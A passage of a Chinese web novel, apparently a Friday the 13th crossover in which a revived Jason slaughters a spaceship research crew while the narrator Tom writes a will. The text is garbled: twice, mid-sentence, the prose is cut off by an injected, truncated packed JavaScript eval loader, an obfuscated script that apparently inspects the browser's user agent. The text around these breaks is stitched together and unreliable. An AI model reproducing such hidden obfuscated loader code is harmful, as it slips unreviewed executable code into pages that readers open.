“没关系,不必放在心上。”汤姆挥挥手说。他当时也不过随口邀请,没想到柏斯基真的会忙里抽闲去履约。 他太负责了。汤姆想到,接着就见柏斯基对自己歉意一笑。“有个消息,博士让我务必和你说。但我见你紧闭舱门,敲门也不应,应该是有重要的事,便没打扰你。以至于现在博士回来了,我却还未能把他说的话传达给你。很抱歉,这是我的失职。” 汤姆不想听。“既然这样,那就别说了吧?反正我猜得出,多半是个不幸的消息。”他不动脑子想也知道是博士给他布置了任务。谁叫他忘掉外出科研的时间,没和大部队一起行动。但没办法,汤姆记起这档子事儿时,离约定时间已经过了半天,队伍肯定出发,他乘个小型飞船开到极速,也追不上前头的船屁股了,只能选择玩游戏喽。 “不至于。”柏斯基哑笑。他告诉汤姆博士所言,然后表示自己要负责飞船返航后的处置问题,无法再陪汤姆说话,让汤姆自便。 汤姆告别柏斯基,放弃了去看看有星际巨怪之称的尸体,转头去了餐厅,拿着小麦面包与燕麦粥打道回府。 吃饱后,他想起杰森,这个被他当面自杀般的举动刺激到的小傻子,决定登录游戏。令人惊讶的是《十三号星期五1》选项灰暗,无法点击。与此同时,《与杰森谈个甜甜的恋爱》这个关卡选项也由猩红变得暗淡下来。 38.十三号星期五15 科考队看似满载而归。两个四百年前的老古董若传出风声,将令行动的组织者,卢威博士的名声翻上一倍,说不定还能赚点人们来观赏的钞票。 然而博士的野心远不止于此,他对金钱有比学术深厚的探索欲,只要这点不改,他铁定高兴不了多久。 索拉里研究站的主管,培瑞兹先生,一个精明不亚于商人的小老头,准会无情地戳破博士的幻想: 从冷冻中复苏不叫起死回生。同理,有点年代的古董哪怕来上几十个,也装点不成金库。 汤姆可不想触博士的霉头,决心避几天风头。谁知出人意料的事发生了—— 飞船的警铃响了。 藏于钢壁缝隙中的音响振动,像有金属碎片疯狂地相划,急促尖利,长鸣不绝。 汤姆揉揉两耳,听出来这是最高级别的警戒铃,代表危机的降临。 “紧急情况!注意!敌人出现!”是柏斯基的声音,嗓音浑厚,口吻传出的肃然、严峻,仿如硝烟扑面。“军队前往武器室,其他人到一号实验室。重复,敌人出现——” 汤姆抓起柜边的外衣,疾驰脚步,边走边套上胳膊。什么敌人?他捋顺头发,整理两下衣襟袖口,心里想着:飞船物资丰富。光是实验室就有好几个,更不用说各类药水器材,纳米复苏床储存的能源足以治愈数十个缺胳膊短腿的重伤人员;配给警卫队的武器依照着官方军队的规格,枪弹、激光炮等热武器人手一只不是问题。然而柏斯基竟还如临大敌,敌人必然不是普通的匪徒那么简单。 船舱离实验室不远。一路上他没遇到其他人。待抵达时,汤姆衣冠整齐,看不出半点赶路的匆忙。实验室门上的摄像头射出红外线,上下扫描过后,轻咯一声打开。 数道目光瞬间落到身上。“可以松一口气了各位,是我。”汤姆举手,走进来,门在身后合拢。 他粗略扫视:卢威博士、森纳朗和他制造的机器人金凯神情肃然,站在一起;黑人学生威兰德闷闷不乐地坐在矮脚凳上:珍妮莎怀里埋着个人,泣音传来,珍妮莎低声说着什么。 待那人用搭在脖子上的毛巾擦拭泪水,汤姆认出是二年级生金莎。另一个二年级生东尼不见踪影,往常他和金莎两人连体婴似的,片刻都停不下亲热。 广播让学生在这里聚集。而此刻,除了东尼,亚兹拉和博士另一个出色学生,雅睿安,也不见身影。人群中多了个陌生面孔。女人身形高挑,短发利落,相较于愁云惨淡的众人,她的脸色出奇镇定。见汤姆看来,她露出一个礼貌的微笑。 汤姆回笑,猜测她便是那具四百年前的冰冻人。他转过头面向大家,“遇上什么敌人了?亚兹拉他们呢?你们看起来个个愁眉苦脸,活像吃了十斤坏干酪。柏斯基还叫警卫队武装起来,这么严阵以待,来头不小吧?” 他的眼睛看着珍妮莎。珍妮莎心直口快,待人随意不客气,却是个热心肠的。那个重新唤醒心跳的女人身上所穿正是珍妮莎的衣服。这次也不例外,尽管她也同其他人一样满脸苍白,仍朝汤姆好声解释: “你或许听说了,我们从古星球带回两具尸体。其中一具,喏,萝文,”珍妮莎朝女人抬下巴,“她已经活过来了。这在我们意料之中。金凯从不说假话。可另一具就叫人惊讶了。”她苦笑,“我们都以为他死得彻底。” 汤姆一下明白珍妮莎的言下之意:那人活了过来,还给飞船带来威胁。可一个古人类能有什么危险?汤姆自认是个见过世面的人,没受空气里的惨淡气氛影响。除非敌人是杰森,刀枪不入,皮糙得和钢铁有的一拼,不然几发枪炮够使他碎成片。不提杰森只是个游戏人物,就算古人类真出过这种厉害角色,汤姆不信每个人都强悍。至少那位苏醒的萝文,肌肉密度和他们没什么两样。 珍妮莎僵硬地扯了下嘴角。“发现他时,他在冷冻舱里,身上裹了层霜,厚得能刮下来造冰窟,没有丝毫生命迹象。冷冻舱破了个口,气体外泄,才让萝文接触了。而那家伙毕竟直面液氮,冻死正常。可是谁知道......”金莎攥紧珍妮莎的衣袖,珍妮莎拍着人的背安慰, 这一停顿,她丧失继续说下去的勇气。森纳朗用沉重的声音接过话茬:“谁知道他竟然在操作台上活了过来。” 汤姆知道操作台的功能,他常在台上将完整的尸骨拆得四零八散。他原以为是给男人用了复苏床,可竟是把人送上解剖用的操作台。这倒把汤姆搞迷惑了。起死回生?难道是这超脱常理的现象使得众人心神不宁?可不应该,至少卢威博士绝不该是这幅模样,垂丧得活像遭劫匪洗劫一空,他该高兴还来不及呢! 这种众人都知道发生什么,唯有他一个人蒙在鼓里的情况,并不让人好受。汤姆压下心底的急切。大家心情暗淡,神经似拉紧的弦,经不起刺激。他捡了森纳朗话里的关键词重复,“操作台?” 森纳朗瞄了眼卢威。博士往面上焊了快铁板般,紧绷着脸,看不出想法。刚才他偷听到博士不让柏斯基伤着那家伙,中士沉默以对。还是金莎满身血迹、踉跄跑来,哭诉着东尼被杀,中士意识到情况紧急,只好答应,卢威才放弃纠缠。“他被发现时死尸一具,呼吸都没有,存在的价值便是任人研究。博士把这差事交给雅睿安。” 汤姆说:“他上了操作台,怎么着都得少几个部件。你的意思他身体构造超凡,不用任何药水,自行治愈,还一口气活了过来?” “我不知道。”森纳朗没有承认也没否认。“可事实......就是这样。”他的声音打颤,没人嘲笑。向来爱逗上一句的珍妮莎只一个劲抱紧金莎,沉默不语。 “他拥有不死之躯,任何武器对他造成的伤害,都如弹弓般轻微。”萝文突然开口。 不死之躯?汤姆半信半疑。他联想到某人,但他只是个游戏角色,策划可以不讲科学,天马行空给他设定武力值。现实却得遵守逻辑。 “包括热武器?”大家同样存疑,因为没有亲眼见过。一个人能起死回生,已经突破想象,再有这些能力,他还是人吗? 萝文看出众人的怀疑。她见过很多这样的人,等他们相信的时候,已命丧刀下。“至少枪没用。至于导弹,我听闻有特警队伍用过,确实把人炸成碎肉,可依旧没能杀死他。” “这他妈还是人吗!”威兰德咒骂道。 “你才明白过来?他不是人,他就是个怪物!毫无同理心,只知杀戮。当局政府耗费巨大的人物力,才抓住他。偏偏,”她发出冷笑,“总有贪心的人,试图研究他,找出他强悍与不死的秘密。” 说到这,萝文眼睛烧起丛丛怒火。他们怎么就不明白,这种堪当核弹的危险人物只能就地扼杀,或者严加看管,而不是由贪婪作祟,给了恶魔出逃的机会。百年前就有这种蠢货,百年后她没想到还能见到。 卢威眼睛一亮,忙问:“有研究出结果吗?” 萝文定定看着他。“结果?有啊,”她耸肩,“他们终于发现这就是个不可不扣的怪物。可别嫌这个发现人尽皆知,要得到它代价可不小呢。他们付出生命,才论证出怪物杀人跟切奶酪似的,不费力气。” 卢威气恼道:“这算什么研究结果!” “只要人类想研究他,不管过了多少年,来多少人,这只会是唯一的结果。”萝文意有所指地说。“难道那两个学生的......”她停住,意识到自己的失态,深吸一口气,不再言语。博士也别过头。 气氛僵硬,森纳朗赶紧打圆场,“好了,你们都快把汤姆说懵了。瞧他一脸迷糊样。” 汤姆配合地点头。“好歹我也是博士的学生,你们的同学,大家可别孤立我啊。” “谁敢孤立你?你这家伙不得用眼泪淹死他?”珍妮莎开玩笑道。 威兰德挥动拳头。“中士的拳头也不是摆设。” 调笑话暂缓了空气中的紧张。森纳朗说回正题,气息平稳,声音里的沙哑却挥之不去。“雅睿安下手很稳,你知道这点。她用镊子从那人的眼窝挖出脑组织,你绝对猜不到,”他伸出手,另一只手比出拇指盖的高度。“那家伙脑子比指甲还小。可他的身躯是又是那么庞大。你能想象黑熊用兔脚走路吗?就是这么不可思议。雅睿安说时,我们都感慨这人能长这么大够令人咂舌。”他的手垂落腰间,肩跟着耷拉,声调发闷,“可是,谁能想到他不仅能在四百年前靠残缺的小脑活着,如今更是能在缺了脑子的情况下复活,还杀了雅睿安和东尼。” 汤姆惊骇中,微妙的熟悉感似乎更强烈了。不等他探究,耳边响起细弱的哭声。金莎的泪水淹没了脸,珍妮莎忙劝她振作。 “那亚兹拉呢?他没过来不会......”汤姆停下来。比起刚才纯粹的惊与怒,心口多出一丝不忍。他与雅睿安、东尼接触少,听到两人的死亡讯息,愤怒更多,缺少的悲伤在联想到可能遭遇不幸的亚兹拉时冒出。 森纳朗对他摇头,脸色难看,显然是认为迟迟未出现的亚兹拉凶多吉少。 汤姆却胸口大石一松。没有直接的不幸消息便是幸运。广播可以传达到飞船的每个角落,按理不存在没听到的情况,除非......摒除掉被杀害这点,汤姆推测出一个可能性:亚兹拉多半在玩游戏。游戏可以提供比拟现实的视听触觉,有时会覆盖现实,叫人分不清。 “我想,我可能知道亚兹拉在哪里。倘若他还有点好运,没倒霉得撞上敌人,还可以把可能去掉。” 珍妮莎皱眉,“你不会想着去找他吧?”她抱着金莎腾不出手,只朝威兰德瞥去个眼神。威兰德当即挪动凳子,腰带别的金属在地上磕出轻响,他堵在门口。 “别冲动,汤姆。”森纳朗靠近汤姆,打算一有不对,就立马制住人。 汤姆指着自己。“我是那么傻的人吗?”朋友们沉默的肯定让他瞪大眼睛,天花板的白灯映进瞳孔,黑曜石似的双目,闪烁白光,动人明亮。 得益于以往塑造的形象,大家觉得汤姆虽然不是柏斯基那样铁骨铮铮的硬汉,还爱哭,但论起坚强却不输任何人。毕竟哭那么多次,把眼泪汇聚起都能养鲸鱼了,可该做的事汤姆从不含糊,没让悲伤耽误过正事。就像现在,所有人都在担忧死生,汤姆却没有流露出多少害怕。 这时,室内的通讯频道亮起,一名警卫队成员语气低沉地汇报:“二区发现两具尸体。” 汤姆原本打算麻烦警卫队去找亚兹拉。这句话让他即将开口的请求断在喉咙,不上不下。二区,正是亚兹拉玩游戏所在的地方。那里人少,昏暗阴沉,除了中心有光,照射空旷地面,其他区域连同摆放的货架、杂物一起被黑暗笼罩。亚兹拉喜欢这里,遮蔽物多,很适合和星际巨怪作战。 “谁?”柏斯基问。 “亚兹拉和达拉斯。”达拉斯是警卫队的一员,也是亚兹拉新的游戏伙伴。 众人面露悲伤,又有人汇报发现。“去货物区的沿路有血迹。” 汤姆神情愣愣,反胃感涌上来,耳际嗡鸣作响。身边人的死去,叫死神迫近的感觉褪去迷雾,显得真切起来。“怎么会?” 柏斯基认出汤姆的声音,“康多,基克跟我去货物区,其他人到左舷。”安排完人手后,柏斯基对汤姆说:“抱歉,警卫队没能尽到保护的义务。”他知道汤姆和亚兹拉交好,此刻心情只怕不好受,叮嘱汤姆待在实验室,半步也别出来。“他很危险。我们现在也没找到他,达拉斯就牺牲了,他可是个耍枪的好手。” 通讯陷入沉默。汤姆没想到那人如此棘手,还没露面接连杀了不少人,可想而知,心肠有多残忍,嗜血可怖或许不亚于杰森。“你可别让大家留太多手了。”博士肯定叮嘱过,不让柏斯基杀人。 “放心,我心里有数。”柏斯基不是把命令置于责任前的人。 汤姆放下心了,可另有人跳将起来了。博士不满地嚷嚷:“放心!?什么放心?柏斯基你不会......”他还是有理智,知道这事儿不能明着摆出来,让学生们知道。“总之,不行!我不准。”他胸口气闷得抽疼,将不翻来覆去地说,直到通讯挂断,他还嫌强调得不够多,生怕柏斯基固执己见,非要击毙突然活过来的男尸。 黑皮佬就是粗鲁!不懂宝贵的研究价值!博士没忍住瞪了汤姆一眼,他怪汤姆提起,本来柏斯基都答应得好好的。 汤姆可不是受气的人。博士敢抛过来一个迁怒的眼神,下次是不是就敢动手了?“大难当前,博士您还要怪我吗?会让我怀疑这危机是否不值一提,不然,怎会叫自己人先内讧起来?” “谁怪你了!”博士恨铁不成钢似的,隐晦道:“柏斯基不明白就算了,你难道还不了解?” “我只知道,再留手,我们都得死这儿。博士,钱也要有命才花得出去啊。” 卢威博士理亏,说不过汤姆,怒气冲冲地迈步走来。森纳朗和威兰德连忙站出来。珍妮莎往汤姆身边一站。在场众人里,她应该是最了解博士的,猜到博士对柏斯基说了什么。她也埋怨博士拎不清。 森纳朗拦住博士。“博士——博士,汤姆只是担心您,怕您有意外,口不择言,他本意是好的。” 汤姆仿佛嫌事儿不够大。“是的呢。我只是担心您。哎,做个怪物可真好,只需要手起刀落。哪像做奶酪的,还要费尽心思帮杀人犯考虑,生怕人家没了命,剁不了自己。您可真是辛苦了,尽职尽责。”汤姆阴阳怪气,“果然,奶酪生来就是被吃掉的命呢。” 森纳朗无奈地看了汤姆一眼,想求他别火上浇油,博士现在掐得他手臂疼。金凯看博士的目光已经相当不善了,似乎在打量博士身上哪里好下手。他还要抽空安抚,招架不住,真的招架不住。 “哎哟哎哟博士,冷静,冷静。”威兰德跟着说,“别生气,汤姆只是实话实说。那么一想,您确实辛苦了。就是能别连累到我们就更好了。”他嘀咕着。 博士转而瞪向威兰德,批头给他一巴掌,也算出了口气。 威兰德捂着脑袋,嘴唇开开合合。森纳朗拳头轻捶威兰德的胸口,衷心夸奖道:“兄弟,伟大。”他万分感激威兰德引走火力,再下去,他真怕汤姆和博士,或者金凯和博士同归于尽。 闹剧落幕,那股得知亚兹拉死去的消沉涌来,汤姆一下陷入恍惚,目光不自觉间飘到门口。金莎注意到他的不对劲,忍着哽咽说:“东尼死了,我也很伤心,恨不得亲手杀了那家伙。可是我知道,真见到人,我只怕连站稳都悬。到时候还得麻烦警卫队来救我。汤姆,你冷静下来,我知道你和亚兹拉关系好,可是,”她激动地说,“那家伙不是人!他就是个杀人机器!他不会看在你两友谊的份上,放过谁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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四百年过去,曾经令人闻风丧胆的杰森,也抵不住时间的消磨。威名成为人们茶语的乐子,连姓氏也被人误读。萝文无意替一个杀人狂纠正。她还以为只有自己一个人知道杰森真名了。 汤姆沉默片刻。虽然在最后一个周目,他和杰森关系不赖。杰森成了一个正常人,除了崎岖的面容与无法言语,智力与常人无二,不会动辄杀人。但眼下来到现实的,明显是杀人狂版本的杰森。 “趁还有时间,”汤姆真诚向众人建议,“我觉得我们可以写个遗言,然后去死,自杀或者怎样都行。” 他眼神真挚,森纳朗等人神情讶然,见汤姆不像开玩笑,出言劝阻。博士呵道:“你在说什么胡话。刚才不是很嚣张吗。也就这点胆子?” 汤姆抱头蹲下,脑袋瓜从实验台后露出来,眼珠晶亮,细看是泫然欲泣的泪。“我也不想啊,但——杰森,”他颇有些自暴自弃地叫,“那可是杰森啊!” 撞上杰森,被直接扭断脖子都叫幸福!他现在都还记得被火烤死的倒霉蛋。人不能死这么惨吧? 唯一能体会到他的绝望的萝文,无法理解汤姆的自杀念头。她是直到最后一刻都会咬牙坚持的人。不过,萝文尊重别人的观点,提出如果有需要,她可以从旁协助。 通讯再次亮起。博士紧赶至发声器处。警卫队来到摆满仪器的舱室,碰见正要行凶的杰森。一声“库奇,闪开”吼出,接着枪声大作。 整个实验室响彻突突的声响,彷如上千只苍蝇振翅,绕着每个人的耳朵嗡鸣。博士捂着胸口连连后退,抵到柜台才停下。他的珍宝啊! 警卫队不留余地地扫射,白烟四起,仪器滋滋,电花闪烁。唯独不见杰森的身影。 工程师库奇气愤地直骂他们搞破坏,柏斯基没理会,令他来一号实验室。 基克举着枪。“他肯定还在这儿。” 柏斯基说:“康多,到上面去。其他人,散开。” 几分钟后,康多说:“没有,没看到目标。”相继响起几道声音,均表示并无发现。 柏斯基眉头狠皱,但没有气馁,他维持平稳的语气说,“保持警觉。”康多没有回复。柏斯基没在意,打手势让手下跟紧。 金凯和萝文走到博士身边。“这样行不通。”萝文很有经验地说。分散开来,攻击力大为削减,只怕会被逐个击破。 博士撇了下嘴。“一切都在掌握中。” 萝文的眉头挑起好几公分,胸膛深深起伏,最后摇着头走开。她听到威兰德抱着希望地念叨,“中士他们身手不赖,又握有武器。那家伙说不定是害怕了,不敢出现。嘿,谁想被打成筛子呢?” 这不是自我安慰,威兰德真心认为杰森的力量有限。这番话戳中众人的心脏,他们亦期望如此,愿意去相信。 没见过杰森的人总是很难想象出他的恐怖。萝文叹息地察觉,只有她,加上说要自杀的汤姆,才明白情形有多严峻。 片刻之后,通讯传出动静。“中士,找到康多了。” “他的情况如何?” “被钻死了。” 康多的肚子被钢筋穿透,螺旋状的筋柱上全是血,通红的,旋纹还挂着碎内脏。 没多久,又响起声音。“中士,史文死了,颈椎断成两半。” 实验室充满焦灼的低语,萝文忍不住站出来。“天哪,必须救救他们。” 博士猛拍桌面,头也不转地吼道。“他们知道该做什么,不用我们操心。” 萝文都快被这个嘴硬得和钢铁有的一拼的家伙气笑了。濒死的尖叫刺破她将升的怒气。珍妮莎打了个激灵,死盯住中央的扬声器。 那道叫声一闪而过,模糊粗哑,他们起初不知道是谁,隔了会儿,响起道愕然的呼唤。 “杰科......” 黑暗中杰科出现,缓慢挪动着脚步,动作僵硬。基克觉得怪异,杰科脖子好像戴了条红围脖,她一开始可没这身装扮。 待人行到光下,基克方才看出,哪是围脖,那分明是伤口。他立马快步走近。 冷风从脖颈的裂口涌贯入,杰科已经是强弩之末,强撑着遇到伙伴。她失力倒下来。她看到基克蹲下来,嘴唇开合,试图向他预警。可是直到吐出最后一口气,也没发出半个音节。 基克尚沉浸在悲痛,余光看到把染血的砍刀。他当即跳起来,举起枪,开足火力地扫射。 数不清的子弹穿过杰森。冲击力令他无法前进、基克不知道过了多久,在他担心子弹用尽时,杰森终于倒下。镰刀状的尖钩贯穿他的胸膛。 基克小心走进,一手握拳,另一手快速按下按钮。机器铁链锁紧,拉起挂钩,杰森被高高挂起。 基克大松口气,几乎喜极而泣,“我干掉他了!我干掉他了!” 紧张听着动静的众人跟着如释重负。威兰德激动不已,“太好了!太好了,看吧,他们干掉他了。” 基克仍不放心,对着杰森继续开了几枪。 “把他看好,我马上够来。”柏斯基压抑着喜悦说。 “你慢慢来,他哪儿也去不了。”基克声音轻松地回复。 39.十三号星期五16 杰森高挂空中,铁钩穿胸,灯在钩尖落下森森的光。他的身躯本就高大,如今腾空,这点愈发鲜明,地面的阴影犹如只巨型蜘蛛,使人产生合情合理的畏惧。 基克仓猝旋过身,离远了,才安心下来按着耳麦,向柏斯基汇报。 两个警卫队员的交谈声从未这么美妙动人过。众人感觉全身毛孔都欢欢快快地敞开,跟有鼓风机吹似的,清新的空气库库往体内灌,啪的挤走胸口积压着的恼人恐惧。舒畅极了! 欢呼的声量攀高,把整个实验室统统占据。绝望一扫而空,也不辨轻重地扫走人们脑袋里属于谨慎的那部分。他们把赞叹说个不停,手舞足蹈,以轱辘话反复表达喜悦,讲上头了,舌头一卷利落吐出杰森的名头。他们发出轻蔑的嘟囔,说他也不过如此。 人人洋溢喜气,衬得表情凝重的汤姆格格不入。他也不想这样啊!谁叫杰森留下的阴影过于庞大。汤姆撑在台前,注视发声器,仿佛视线可经由此,遁着电流,收尽货仓实况。“各位,现在庆祝是否为时过早?说句不中听的,我怎么觉得......”他吞吐着,因知晓将道出的话不讨喜,“没这么简单。” 反对声浪原地立起,天花板抖了抖,差点被掀翻。卢威把不待见明摆在脸上,嘴唇撅得奇高。金莎抹了一把眼角死里逃生的热泪。“基克没必要骗我们!你也听到了,枪声有多激烈。换成我们,光挨上两发,没有纳米复苏床,离死不远了,” 威兰德应和。“嘿我的听力可是一流的。”他指着耳朵,“那是机枪的声音,子弹少说数十发,它的破坏与撕扯力有多大,你玩的枪战游戏多,该比我们清楚。我猜现在,马蜂窝都比杰森体面。”威兰德说着龇起牙,脑海联想到的恐怖场景令他嫌恶,白牙晃眼。 汤姆对威兰德说:“那你做了那么多实验,想来对科学也有番见解。请你解释下,杰森在操作台的死而复生。原谅我学识浅薄,想不通原因。” 威兰德呐呐无言,求助地看向金凯。机器人拥有无垠知识,私底下,众人认为她的权威胜过博士。其他人跟着转头。一时之间,金凯收获数道视线。“别看我。不知道。” 汤姆啪啪敲桌,吸引来人群的注意力,“所以承认吧,我们无法用科学来解释杰森。”他说,“子弹会伤害身体,使人丧命。对于正常人,这当然是真理,但我们面对的是谁?杰森!他打破了死亡的定律,活过来,没有用任何医疗设备!说这套逻辑顶用,你们不觉得好笑吗?” 卢威仍然固执:“杰森的死而复生肯定有依据,说不定他根本就没死!汤姆,你尽在危言耸听!讲吓人话!” “等等,”森纳朗站出来。他难得在博士说话时插嘴,“汤姆,我有个小问题,”他一针见血地提出疑问,“你为什么这么害怕杰森?” 哑口无言的成了汤姆,眼神飘忽,神情犹豫。畏惧的产生全赖游戏经历。这虽然是事实,但好招笑!它在脑海打转一圈,汤姆自己都觉得荒谬离谱,别提跟人坦诚。 金凯眯起眼:“你在隐瞒什么?” “汤姆你快说,你到底知道什么。”“到了这个地步,有什么隐瞒的必要?” 架不住人群你一句我一嘴的催促,汤姆咬咬后牙槽,如实招了。说完他马上后悔。因为众人先是一愣,接着个个笑得前仰后合直不起身,捂着肚皮打颤。 卢威投来居高临下的看傻子的目光,珍妮莎则满是怜惜地说:“汤姆,傻小子,你真该戒了游戏,你分不清楚现实和虚拟了。” 金莎破涕而笑。“你真是,傻得可爱。” e on,游戏有多少夸大成分!”威兰德扶着墙,身体笑得一抽一抽的。“就像你玩的星际怪兽,现实中有这东西吗?不过是凑巧,这游戏扯了杰森的名头。咱们又倒霉地撞上。”他跺了跺脚,恨铁不成钢般道,“汤姆啊汤姆,瞧你被巧合吓成什么样!” 切身经历了杰森的追杀,拥有富裕的血淋淋教训的汤姆笑不出来。他肃着脸,重申了担心。大家嘻嘻哈哈,调笑汤姆还是个小孩子,竟然被区区游戏吓破了胆。 “笨蛋,一群笨蛋!你们才叫不知真假的死亡高兴坏了脑子。游戏又怎么了?它出现的时机很诡异啊。万一是预兆呢!” 嘘声此起彼伏,实验室唾沫飞溅,汤姆一时只能狼狈后退。他节节败退之际,卢威博士开口了,一举盖住所有的声音。喧杂的人声渐渐小了下去,只剩下卢威扯着嗓门对汤姆的数落。 汤姆很少让自己落入被多数人指责的窘境,卢威难得逮到机会,此时此刻,怎能不趁机捡起身为教授的权威? 珍妮莎和森纳朗连忙打圆场。“好了好了,”珍妮莎安抚道,“博士,汤姆也是为大家着想,担心有蹊跷。不过汤姆,你该放松点。游戏而已,谁知道添油加醋了多少。这胜利来得也不容易。你看看,雅各布、亚兹拉......”她的眼睛被深沉的悲伤淹没,“他们都死在杰森手里。警卫队牺牲了大半。我们损失惨重,合该得到这样的好结果。” “按理是这样,”忌惮超过一切,汤姆非得行泼冷水的举动。“可杰森称不上人。他是个怪物,不死的怪物。” 威兰德呵呵笑着:“提起游戏,汤姆面色不改,实际上心里羞恼得恨不得往他大嘴巴呼上一巴掌。游戏,游戏!他就是因为游戏才这么警惕杰森,那又怎么了!谨慎点不好吗?忿忿不平中,汤姆对上萝文的目光。众人嬉笑的动静里,她眼神没有波动,眉头反而皱深。汤姆嗅到了盟友的气息,眼前一亮道:“萝文你说呢,你比我们了解他。” 萝文双手抱胸挑了下眉,“老实说,我不想赞成你,可事实如此,容不得天真。”她转向众人,嗤笑道,“承认自己害怕很难?”佯装镇定不奇怪,萝文讨厌奚落他人来彰显勇敢的人。 一语惊醒汤姆。他就说怎么一个个都嘲笑他。“是啊是啊,笑我骗我可以,你们别把自己骗过去了!” 隐藏在夸张笑声后的隐虑被揭开。一时间,人群险些挂不住表情。在焦惧乃至愤懑的注视中,萝文说:“你们想想吧,要是这就能杀死杰森,他活得到现在?我们的政府不吃干饭,在杰森杀死百人前,骨头早炸成灰。” “胡扯!”卢威扯大嗓子,喘着粗气抽打桌台。 声响砰砰,无法吓退两人话语拨来的阴云。它厚压在每个人的头上,紧贴着头皮,凉意渗入。他们浑身发冷,以至于当听到基克的惨叫,比起惊讶,反而有种意料之中的坦然。 —— 半分钟前。 本该死去的怪物忽地睁眼,舒展两臂,身体轻晃,脱钩落地,无声地靠近基克。刀光一闪,半截肢体落地。基克拦腰断开,两腿站了几秒,才跟着仰倒。内脏飞迸,墙壁溅上弧形的殷红。 基克竭尽全力地往前爬,血迹蜿蜒。“布格、中士快走……”声音断断续续,因血沫满嘴而含糊。 不用见到现场,光凭这嘶哑声音,众人明白:基克活不了了。 没出几分钟,通讯亮起,柏斯基悲伤地叫了一声布格。 “只剩他一个人了。”萝文声音消沉。 汤姆默默掏出了纸笔,开始奋笔疾书。身侧的威兰德瞥了眼,便叫抬头的遗嘱两字惊得眼珠要跳出来。他简直怒不可遏。汤姆放弃的不是他的生命,而像是对所有人昭示,你瞧,我就说杀不死杰森,别费劲挣扎了,没用的。 “操,他们还没开打呢,你就料定柏斯基必输了?呸呸呸,输什么输!你小子不一直夸中士厉害?怎不他妈的坚定......” 他粗鄙的话在汤姆抬头时消声。汤姆两眼黑檀木似的,沉沉地透出一股平静的死气。威兰德瞅了心悸,“哎哟,汤姆,你别这样,怪渗人的。”威兰德甚至觉得汤姆像之前一样哭哭啼啼,也比这副死意已明的坦然好。“要不你学学金莎,哭一哭,发泄坏情绪。你看她现在看起来好多了。”他拍着胸脯承诺,“这次我绝不会在背后说你基佬的!” 汤姆撂笔拍桌。“你以前骂我基佬?” 威兰德心虚:“你哭起来确实很娘很惹人起鸡皮疙瘩啊!” 猪脑袋!懂什么!知道什么叫泫泪欲泣吗!“你完了威兰德,我要在遗嘱用一页来骂你。一!整!页!” “.....所以遗嘱这傻逼玩意儿写它干什么?” 汤姆捧着脸忧伤地说:"没办法,谁叫我有两套房,银行里又存了点小钱呢?当然要安排好归宿!我可不想让蝗虫样的肮脏资本家吞了它们。”他幽幽看着威兰德,“真羡慕你,没有这种苦恼。" 威兰德憋了半天挤出:“操。”灰溜溜地走开。 他去找森纳朗,人们聚在通讯器附近,来回踏步,脸色虽然发白,眼瞳仍然闪烁希望。警卫队队长往日留下了深刻的强大印象。 然而,这份期望很快破碎。柏斯基在和杰森的角逐中失手,胸膛遭了殃。他背靠的木板跟纸似的脆,叫砍刀一下洞穿,刀尖自柏斯基的胸前伸出,闷哼刚传来,众人的心已经低至谷底。汤姆登时丢开笔挤入人群,趴在通讯器旁,揪心得听着动静。 杰森拔刀。柏斯基发出一声低吼。“一刀可杀不死我。”下一秒,响起利器捅入□□的噗声。柏斯基嘶哑着忍痛说:“这样差不多了。” 之后再无任何的声响。通讯频道死寂。 该轮到他们了。实验室的人明白。死亡的阴影让每个人面如死色。身后随后会冒出利刃,他们得保持冷静。可是一想到要对抗的是个怪物,不少人丧失了勇气。 “浪费军力!”博士埋怨,“我让他保持冷静,不要轻举妄动,到索拉里再解决杰森。他偏不听,现在好了!”他抹了一把脸,闷声说,“柏斯基太自以为是了。” 萝文扯了扯嘴角,没说话。其他人沉浸悲痛,根本没听卢威说话。反正,博士总自信他的正确,一旦出问题,只能是别人的错。这种时候,当放屁过耳就行,不必放在心上。 汤姆不愿意这样做。柏斯基确实是个傻瓜!其他人都死了,他一个人和杰森死磕什么!就该回实验室!现在他为了保护大家死了,卢威凭什么诋毁他?“小声点,博士。推卸责任可不是件光彩的事,它见不得人。” 博士脖子根通红,怒视汤姆,“我推卸什么了?” “是是是,您什么都没推卸,清白无辜得很呢!”汤姆露出一个笑,不等博士说话,他扬了扬手上的纸,“来一张?毕竟博士您财产不少,怎么分配可是个大问题。比我们更需要提前交代好它们的后事。我捋了十来份,写上几千字不成问题。” 卢威想说什么。猛烈的拍门声响起,他骇得急步后退,背抵桌缘,退无可退。害怕之下的举动,实在狼狈,他有些丢面子的赧意,幸好声波传来,人群全向后涌。他并不突兀。除了汤姆,众人挨紧旁边的伙伴,贴着墙或柜,大气也不喘,目光牢盯门口,警惕万分。 “谁把门锁上了?”工程师库奇边叫边拍门。 熟悉的声音令人们纷纷舒了口气。森纳朗打开门,库奇进来后,他立刻关上。 库奇本来在骂骂咧咧,见大家如临大敌的举止,骂声顿住,“怎么了这是?脸色那么臭?”他纳闷万分。“警卫队也是,他们捉敌人,反倒比强盗头子还粗暴。他们朝哪儿开枪呢!我的宝贝们啊......”库奇肉疼地说,生气警卫队毁了他的仪器。 森纳朗说:“军队全军覆没。” “谁?”库奇眉头拧起。 “全部。”他真是疯了。森纳朗发现见着库奇的错愕,他扭曲地感到满意。 库奇用一种犹疑的语气重复:“全部?”众人不吭声,目光有如实质的绝望与悲痛令他察觉到森纳朗没在玩笑。“现在怎么办?”他惶然发问。 汤姆挥舞捏皱的纸,“写遗书。” 库奇:“......” 威兰德小声对库奇耳语,"汤姆把现实当虚拟游戏。杰森出现后,我看他差点没吓尿,怕的,”威兰德指了下脑袋,努努嘴,“这里出了毛病。"说完,威兰德就见汤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 